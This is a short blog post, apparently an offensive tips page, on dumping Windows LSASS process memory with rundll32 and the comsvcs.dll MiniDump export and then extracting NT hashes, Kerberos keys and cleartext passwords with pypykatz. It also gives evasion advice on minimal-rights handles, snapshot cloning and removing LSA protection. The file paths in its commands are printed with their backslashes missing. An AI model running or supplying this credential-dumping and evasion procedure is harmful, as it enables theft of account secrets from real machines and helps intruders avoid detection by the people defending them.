Blog/ Tips & Tricks /Windows Post-Exploitation

Dump LSASS quietly with the comsvcs MiniDump export

Aug 26, 2026 · 1 min read

Credentials live in LSASS memory. Rather than a flagged tool, use the Microsoft-signed comsvcs.dll MiniDump export driven by rundll32 to write the process image to disk, then parse it offline.

powershell

# need SeDebugPrivilege and the LSASS PID
$p=(Get-Process lsass).Id
rundll32 C:WindowsSystem32comsvcs.dll, MiniDump $p C:WindowsTempl.dmp full

Extract secrets from the dump on your own machine.

bash

pypykatz lsa minidump l.dmp   # NT hashes, Kerberos keys, cleartext where present

Pro note: LSASS access is heavily monitored, so a handle opened with only the rights MiniDump needs, or a clone via PssCaptureSnapshot, is quieter than a full-rights open. Where LSA is running as PPL, remove the protection first or read it with a driver rather than a user-mode open.